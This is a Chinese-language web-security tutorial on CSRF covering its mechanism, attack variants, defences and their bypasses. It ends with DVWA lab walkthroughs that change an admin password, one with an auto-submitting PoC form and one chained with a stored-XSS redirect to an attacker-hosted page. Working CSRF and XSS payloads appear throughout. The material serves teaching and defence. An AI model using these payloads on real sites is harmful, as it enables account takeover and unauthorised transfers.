Web渗透之前后端漏洞-CSRF（跨站请求伪造）

CSRF（Cross-Site Request Forgery，跨站请求伪造） 是一种利用用户当前已认证的身份，在用户不知情的情况下，向目标网站发送恶意请求的攻击方式。攻击者无法直接窃取用户的 Cookie，但可以强制用户浏览器发送携带 Cookie 的请求，从而以用户身份执行非本意的操作。

通俗类比：你登录了银行网站后去上厕所，有人趁你不在，拿起你的鼠标点击了"转账给攻击者"按钮。CSRF 就是网络世界里的"借刀杀人"。

二、详细原理

前提条件

用户已经登录目标网站（victim.com），浏览器保存了有效的会话 Cookie（如 SESSIONID）。
目标网站的某个敏感操作（如修改密码、转账）仅依赖于 Cookie 来识别用户身份，没有额外的 CSRF 防御机制（如 Token、验证码、Referer 校验等）。
攻击者能够构造一个指向该敏感操作的完整请求（URL + 参数）。

攻击流程

步骤	说明
① 登录	用户 `User` 通过浏览器访问 `victim.com`，输入账号密码，服务器验证成功后返回 `Set-Cookie`，浏览器保存该 Cookie。
② 诱骗	攻击者向用户发送恶意链接（例如通过电子邮件、论坛私信、广告图片等），用户点击后访问攻击者控制的网站 `evil.com`。
③ 触发	`evil.com` 的页面中包含自动触发的请求代码。例如：`<img src="http://victim.com/transfer?to=hacker&amount=10000">` 或一个自动提交的表单。
④ 发送	浏览器在解析 `evil.com` 页面时，会根据 `src` 或表单 `action` 向 `victim.com` 发起请求。由于浏览器会自动附上 `victim.com` 的域名 Cookie，这个请求就"看起来"是用户本人发出的。
⑤ 执行	`victim.com` 的服务器接收到请求，校验 Cookie 通过，认为这是合法用户的指令，于是执行了转账操作。
⑥ 完成	用户事后可能毫无察觉，直到发现账户资金变动。

浏览器同源策略（Same-Origin Policy）阻止 evil.com 读取 victim.com 的 Cookie。但 CSRF 不需要读取 Cookie，只需要浏览器在发起请求时自动附带即可。这是浏览器机制决定的：向某个域名发送请求时，如果该域名有 Cookie，浏览器会自动加上。

三、CSRF 攻击类型与构造方法

3.1 GET 型 CSRF

最原始、最简单的形式。敏感操作用 GET 方法实现。

漏洞代码示例（PHP）：

复制代码

// transfer.php
$to = $_GET['to'];
$amount = $_GET['amount'];
$sql = "UPDATE accounts SET balance = balance - $amount WHERE user='current'";
$sql2 = "UPDATE accounts SET balance = balance + $amount WHERE user='$to'";
// 执行更新...

攻击构造：

复制代码

<!-- 恶意网站 evil.com/index.html -->
<img src="http://victim.com/transfer.php?to=attacker&amount=10000" width="0" height="0">

或直接使用 <script>、<iframe>、<link> 等标签。

防御：敏感操作禁用 GET 方法，必须使用 POST。

3.2 POST 型 CSRF

敏感操作用 POST 方法，但攻击者可以构造自动提交的表单。

攻击页面代码：

复制代码

<form action="http://victim.com/transfer.php" method="POST" id="csrf_form">
    <input type="hidden" name="to" value="attacker">
    <input type="hidden" name="amount" value="10000">
</form>
<script>
    document.getElementById('csrf_form').submit();
</script>

用户访问后，表单自动提交，浏览器同样携带 Cookie。

3.3 JSON / AJAX 型 CSRF

现代 Web 应用常使用 RESTful API，请求体为 JSON 格式，且通常需要 Content-Type: application/json。跨域请求时，浏览器会先发送 OPTIONS 预检请求 。如果服务器配置了 Access-Control-Allow-Origin: * 且允许 Content-Type，则可能被 CSRF。

攻击代码：

复制代码

fetch('http://api.victim.com/transfer', {
    method: 'POST',
    credentials: 'include',    // 携带 Cookie
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({to: 'attacker', amount: 10000})
});

防御：服务器应严格校验 Origin 头，不使用 Access-Control-Allow-Origin: * 同时允许携带凭证。

3.4 利用 Flash / Silverlight（已过时）

历史上有利用跨域策略文件（crossdomain.xml）进行 CSRF 的攻击方式，现在已经很少见。

3.5 利用 JSONP 接口

某些网站提供 JSONP 接口（callback=function），攻击者可以通过 <script> 标签发起 GET 请求并执行回调，如果 JSONP 接口有副作用，则可被 CSRF。

四、CSRF 的危害实例

场景	危害
银行 / 支付	转账、消费、提现
社交网络	发布状态、删除好友、发送私信、修改个人资料
邮件系统	修改过滤规则、转发邮件、创建垃圾邮件规则
企业系统	创建管理员账户、修改权限、删除数据
电商平台	下单、修改收货地址、申请退款

五、防御机制详解

5.1 CSRF Token（最核心、最有效）

原理：服务器生成一个随机且不可预测的 Token，与用户会话绑定，并嵌入到表单或请求头中。服务器在处理敏感请求时，验证 Token 是否正确。攻击者无法获取该 Token（除非存在 XSS），因此无法构造合法请求。

具体实现步骤：

用户打开表单页面时，服务器生成随机 Token 存入 Session，并输出到表单隐藏字段：
复制代码
```
<input type="hidden" name="csrf_token" value="aB3x9ZqW...">
```
用户提交表单时，Token 随请求发送。
服务器收到请求后，比较提交的 Token 与 Session 中保存的是否一致。
若不一致或缺失，拒绝请求。

Token 的设计要求：

足够长且随机（至少 128 位，使用密码学安全随机数生成器）。
与用户会话绑定，不同用户不同 Token，且建议每次请求后更新（或使用时间窗口）。
对于 AJAX 请求，可将 Token 放入自定义 HTTP 头（如 X-CSRF-Token）。

框架内置支持：

Django：{% csrf_token %}，中间件自动验证。
Laravel：@csrf 指令。
Spring Security：默认启用 CSRF Token（需要 Thymeleaf 或手动嵌入）。

背景：CSRF 的根源在于浏览器自动携带 Cookie。如果 Cookie 被标记为 SameSite，浏览器将限制跨站请求携带该 Cookie。

SameSite 值	行为	安全性
`Strict`	任何跨站请求（包括从外部链接点击进入）都不携带 Cookie。	最安全，但可能影响用户体验（例如从邮件点击链接进入网站需要重新登录）。
`Lax`	允许部分跨站 GET 请求（如 `<a>` 链接、`<link>`、`<img>` 的 GET），但禁止 POST 等非安全方法。	平衡安全与体验，是目前推荐的默认值。
`None`	允许跨站携带 Cookie，但必须同时设置 `Secure`（仅 HTTPS）。	不安全，除非明确需要第三方 Cookie（如 iframe 嵌入）。

设置方式（HTTP 响应头）：

复制代码

Set-Cookie: sessionid=abc123; SameSite=Lax; Secure; HttpOnly

现代浏览器（Chrome 80+）默认将未指定 SameSite 的 Cookie 视为 Lax，这大大缓解了 CSRF 风险，但不是所有用户都升级了浏览器。

5.3 Referer / Origin 校验

原理：检查请求头中的 Referer 或 Origin，判断来源域名是否在白名单内。

Origin 头：只包含协议+域名，无路径，更可靠。在 POST、PUT、DELETE 等请求中通常存在。
Referer 头：包含完整 URL，可能因为隐私策略（如 HTTPS→HTTP）不发送，或被人为截断。

校验逻辑：

获取 Origin 或 Referer。
如果为空，可放行或拒绝（视策略而定）。
检查是否为 http://victim.com 或 https://victim.com，不允许第三方域名。

注意事项：

不能仅依赖 Referer，因为某些环境不发送。
攻击者可能通过 meta 标签或其他方式控制 Referer（但有限制）。
可以作为辅助防御，但不能替代 Token。

原理：服务器生成随机 Token，同时将其写入 Cookie 和请求参数（或请求头）。服务器收到请求后，比较 Cookie 中的 Token 与参数中的 Token 是否一致。攻击者无法读取 Cookie，因此无法伪造参数中的 Token。

步骤：

用户访问页面时，服务器生成 Token 并设置 Cookie，同时前端 JS 读取 Cookie 中的 Token（通过 document.cookie）放入请求参数或自定义头。
提交请求时，Cookie 自动携带，参数/头中也包含该 Token。
服务器验证两者是否匹配。

优点：无状态，不需要服务器存储 Session。缺点：如果存在 XSS，攻击者可读取 Cookie 中的 Token，从而绕过。且要求 Cookie 非 HttpOnly。

5.5 自定义请求头（针对 AJAX）

对于 AJAX / API 请求，可以要求客户端必须携带一个自定义请求头，例如 X-Requested-With: XMLHttpRequest 或 X-CSRF-Protection: 1。浏览器在同源策略下，跨域请求无法添加自定义头（除非通过 CORS 预检且服务器明确允许）。攻击者无法通过 <img>、<form> 等标签添加自定义头。

注意：此方法不能防御表单 POST（因为表单无法添加自定义头），只适用于 AJAX / Fetch。

5.6 二次验证（验证码 / 短信 / 密码）

对关键操作（如转账、修改密码）要求用户输入验证码、短信验证码或再次输入密码。这是最彻底的防御，但用户体验较差，不适合所有操作。

如果 API 使用 Bearer Token（放在 Authorization 头中），浏览器不会自动附加该 Token，攻击者无法通过 CSRF 携带。但 Token 需要前端存储（如 localStorage），存在 XSS 风险。

六、CSRF 防御措施的缺陷与绕过

防御措施	潜在绕过方式
CSRF Token	1. 如果存在 XSS，攻击者可读取 Token。 2. Token 可预测或未绑定会话。 3. Token 存放在 Cookie 且未进行双重验证，攻击者可利用 Cookie 同步。
SameSite=Lax	部分浏览器版本未实现或不严格执行；用户点击 `<a>` 链接的 GET 请求仍可发送（如果操作用 GET 实现则危险）。
Referer/Origin 校验	1. 可通过 `<meta>` 标签或 `document.referrer` 策略限制。 2. 如果校验仅检查字符串包含，可使用 `https://victim.com.attacker.com` 绕过。 3. 某些环境下 Referer 缺失被放过。
双重提交 Cookie	存在 XSS 时，攻击者可读取 Cookie 中的 Token。
自定义请求头	仅适用于 AJAX，不能防御表单提交。

结论：多层防御是最佳实践。Token + SameSite Cookie + Referer 校验 + 关键操作二次验证。

七、CSRF 与 XSS 的区别（最终对比表）

维度	CSRF	XSS
英文全称	Cross-Site Request Forgery	Cross-Site Scripting
中文名称	跨站请求伪造	跨站脚本攻击
攻击本质	利用身份验证机制，伪造用户请求	注入恶意脚本，在浏览器中执行
触发方式	用户访问恶意页面时，自动发送伪造请求	用户访问包含恶意脚本的页面时，脚本自动执行（存储型）或点击链接触发（反射型）
是否需要用户交互	需要用户点击恶意链接或访问恶意网站	反射型需要点击，存储型不需要
攻击对象	目标网站的服务器（执行状态变更操作）	浏览器（执行脚本、窃取信息）
主要危害	修改密码、转账、发帖、删除数据等	窃取 Cookie、键盘记录、网页钓鱼、发起 CSRF 等
是否依赖 Cookie	是，依赖浏览器自动携带 Cookie	不一定，可读取 Cookie（若未设 HttpOnly）
防御核心	CSRF Token、SameSite Cookie、Referer 校验	输出编码、CSP、HttpOnly Cookie
常见场景	银行转账、社交平台发帖	评论区留言、搜索框反射
能否相互配合	通常需要 XSS 来窃取 Token 才能绕过 Token 防御	XSS 可以发起 CSRF 攻击（利用用户的 Cookie）
结果可见性	用户可能毫无察觉	用户可能看到弹窗或页面异常

八、总结

CSRF 是一种历史悠久的攻击方式，但现代浏览器和框架的改进（尤其是 SameSite Cookie）已大幅降低了其影响。然而，对于老旧系统或未更新配置的应用，CSRF 仍然是严重威胁。开发者应优先采用 CSRF Token + SameSite=Lax 的组合，并对关键操作添加二次验证。同时，防御 XSS 也是防御 CSRF 的重要一环，因为 XSS 可以绕过几乎所有 CSRF 防护（读取 Token、发送请求等）。

九、靶场攻击演示

CSRF 漏洞（DVWA Low 级别）

一、实验环境

靶场：DVWA (Damn Vulnerable Web Application)
安全级别：Low
目标功能 ：修改管理员密码（/vulnerabilities/csrf/）
攻击机 ：Kali Linux（IP 假设为 192.168.xxx.xxx）
工具：Burp Suite Professional、Python HTTP Server、浏览器

二、漏洞原理

DVWA Low 级别的修改密码功能使用 GET 请求 传递参数：

复制代码

GET /vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change

仅依赖 Cookie 验证用户身份（PHPSESSID）
无 CSRF Token、无 Referer 强校验、无二次验证
攻击者可构造恶意页面，诱使已登录管理员访问，自动提交密码修改请求

三、攻击步骤

抓包分析密码修改请求

使用 Burp Suite 拦截修改密码的请求，得到以下原始数据：

复制代码

GET /vulnerabilities/csrf/?password_new=1&password_conf=1&Change=Change HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 ...
Cookie: PHPSESSID=dfs1mgkrcodvkust8r01am2t3; security=low

2. 生成 CSRF 攻击 PoC（Proof of Concept）

在 Burp Suite 中，右键请求 → Engagement tools → Generate CSRF PoC。

Burp 自动生成一个 HTML 表单，用于自动提交恶意请求。原始生成的表单可能字段名不匹配，需要手动修改为正确的参数名：

复制代码

<!-- CSRF PoC - 修改密码为 123456 -->
<body>
<form action="http://192.168.xxx.xxx/vulnerabilities/csrf/" method="GET">
    <input type="hidden" name="password_new" value="123456" />
    <input type="hidden" name="password_conf" value="123456" />
    <input type="hidden" name="Change" value="Change" />
    <input type="submit" value="Submit request" />
</form>
<script>
    history.pushState('', '', '');
    document.forms[0].submit();
</script>
</body>
</html>

将 PoC 保存为 HTML 文件并启动 HTTP 服务

将上述代码保存为 hacker.html，放置在攻击机 Web 目录（如 /var/www/html/ 或任意目录），然后启动 HTTP 服务：

复制代码
python3 -m http.server 80

4. 诱使目标访问恶意链接

管理员（已登录 DVWA）被诱导访问：

复制代码

http://攻击机IP/hacker.html

5. 自动执行攻击

浏览器加载 hacker.html 后，页面内的 JavaScript 会立即自动提交表单。
由于浏览器会自动附上 DVWA 的 Cookie（PHPSESSID），服务器认为请求来自合法管理员。
密码被修改为 123456，页面显示 "Password Changed"。

四、攻击结果验证

再次尝试使用原密码登录 DVWA，失败。
使用新密码 123456 成功登录，证明密码已被篡改。

五、漏洞代码分析（DVWA Low）

复制代码

if (isset($_GET['Change'])) {
    $pass_new = $_GET['password_new'];
    $pass_conf = $_GET['password_conf'];
    if ($pass_new == $pass_conf) {
        $sql = "UPDATE users SET password = MD5('$pass_new') WHERE user = 'admin'";
        mysqli_query($GLOBALS["___mysqli_ston"], $sql);
        echo "<pre>Password Changed</pre>";
    }
}

无任何 CSRF 防护措施（无 Token、无 Referer 检查、无验证码）
使用 GET 方法更易被利用

六、防御方案（对应 Medium/High/Impossible 级别）

级别	防御措施
Medium	检查 `HTTP_REFERER`，要求 Referer 必须包含服务器域名（可被绕过）。
High	引入 CSRF Token，每次修改密码需携带随机 Token。
Impossible	结合 Token + 用户当前密码验证（需输入旧密码），彻底防御 CSRF。

七、总结

本次实战完整展示了 CSRF 漏洞的利用过程：

识别漏洞：目标功能使用 GET 请求且无 Token。
构造 PoC：使用 Burp Suite 生成自动提交表单。
社会工程学：诱使管理员点击恶意链接。
成功篡改：管理员密码被修改，造成账号失陷。

核心教训：任何涉及状态变更的操作（修改密码、转账、发帖等）都必须实施 CSRF 防护，如 Token、SameSite Cookie、二次验证等。

CSRF + XSS 组合攻击（DVWA 低级别）

一、实验环境

靶场：DVWA（Damn Vulnerable Web Application）
安全级别：Low
涉及漏洞：
- 存储型 XSS（Stored XSS）------ 留言板模块
- CSRF（Cross-Site Request Forgery）------ 修改密码模块
攻击目标：通过存储型 XSS 植入恶意脚本，将已登录管理员强制跳转到攻击者构造的 CSRF 页面，自动修改管理员密码。

二、漏洞原理分析

1. 存储型 XSS 漏洞（DVWA Low）

留言板的 Name 或 Message 字段未对用户输入进行过滤或转义。
攻击者可以提交包含 JavaScript 代码的内容，该内容被存储到数据库。
当其他用户（如管理员）访问留言板页面时，恶意脚本会在其浏览器中执行。

2. CSRF 漏洞（DVWA Low）

修改密码功能使用 GET 请求，且无任何 CSRF 防护（无 Token、无 Referer 校验）。

请求示例：

复制代码

http://靶场IP/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change

只要用户携带有效的会话 Cookie 访问该 URL，密码就会被修改。

3. 组合攻击链

XSS 作为"搬运工"，CSRF 作为"最终 payload" 利用 XSS 将受害者从留言板页面强制重定向到攻击者预先构造的 CSRF 恶意页面，从而自动完成密码篡改。

三、详细攻击步骤

步骤 1：构造 CSRF 攻击页面（PoC）

在攻击机（Kali）上，使用 Burp Suite 生成 CSRF PoC 代码。

登录 DVWA，进入 CSRF 模块（/vulnerabilities/csrf/）。
修改密码时抓包，得到 GET 请求。
右键 → Engagement tools → Generate CSRF PoC。
修改生成的 HTML 表单，确保参数名正确（password_new、password_conf、Change）。
将 PoC 保存为 hacker.html，内容如下（示例）：

复制代码

<!— CSRF PoC —>
<body>
<form action="http://192.168.xxx.xxx/vulnerabilities/csrf/" method="GET">
    <input type="hidden" name="password_new" value="111111" />
    <input type="hidden" name="password_conf" value="111111" />
    <input type="hidden" name="Change" value="Change" />
</form>
<script>
    document.forms[0].submit();
</script>
</body>
</html>

步骤 2：启动 HTTP 服务

在攻击机上启动一个简单的 Web 服务器，用于托管 hacker.html：

复制代码
python3 -m http.server 80

此时，攻击机 IP 为 192.168.xxx.xxx，恶意页面可通过 http://攻击机IP/hacker.html 访问。

步骤 3：注入 XSS 载荷（存储型）

登录 DVWA（低级别），进入 XSS (Stored) 模块（留言板）。
在 Name 或 Message 字段中注入恶意脚本，目的是让访问留言板的用户自动跳转到 CSRF 页面。
- 常见载荷：
  复制代码
```
<script>location.href="http://攻击机IP/hacker.html";</script>
```
- 由于 DVWA Low 级别对 Name 字段有长度限制（maxlength=10），可以通过修改前端 HTML 属性（maxlength=100）或直接使用 Message 字段（长度更大）来注入完整脚本。
提交后，该脚本被存储到数据库。

步骤 4：诱导管理员触发

管理员（已登录 DVWA）正常访问留言板页面（/vulnerabilities/xss_s/）。
页面加载时，存储的恶意脚本被执行，浏览器自动跳转到 http://攻击机IP/hacker.html。
hacker.html 加载后自动提交表单，向 DVWA 发送修改密码的 GET 请求（携带管理员的 Cookie）。

步骤 5：验证攻击结果

管理员密码被修改为 111111。
再次访问 DVWA 登录页面，使用原密码失败，使用新密码 111111 成功登录。
靶场页面显示 Password Changed。

四、攻击流程图

复制代码

[攻击者] 
   ├─ ① 构造 CSRF PoC (hacker.html) 并启动 HTTP 服务
   └─ ② 在留言板注入 XSS 载荷 <script>location.href="http://攻击机/hacker.html"</script>

[管理员（已登录）]
   ├─ ③ 访问留言板页面
   ├─ ④ 触发 XSS，被重定向到攻击者服务器
   └─ ⑤ 自动提交 CSRF 表单，修改密码为 111111

五、防御方案

漏洞类型	防御措施
存储型 XSS	1. 对用户输入进行 HTML 实体编码（如 `htmlspecialchars`）。 2. 使用内容安全策略（CSP）限制脚本执行。 3. 对富文本内容使用安全过滤库（如 HTMLPurifier）。
CSRF	1. 使用 CSRF Token（每个用户会话绑定随机 Token）。 2. 关键操作改为 POST 请求并验证 Referer/Origin。 3. 设置 Cookie 的 `SameSite=Lax` 或 `Strict` 属性。
组合漏洞	同时修复 XSS 和 CSRF 两类漏洞，缺一不可。XSS 可被用作 CSRF 的"跳板"，必须切断攻击链条的每一环节。

六、总结

本次实战展示了 XSS 与 CSRF 组合攻击 的典型利用方式：

存储型 XSS 负责"传播"和"跳转"；
CSRF 负责"执行恶意操作"；
两条漏洞链串联，使得一个低危漏洞（XSS）升级为中高危（账户劫持）。

这提醒我们：在安全防御中，任何一个孤立的漏洞都可能被组合利用，产生严重的连锁反应。修复漏洞时应考虑整体安全架构，而非单一补丁。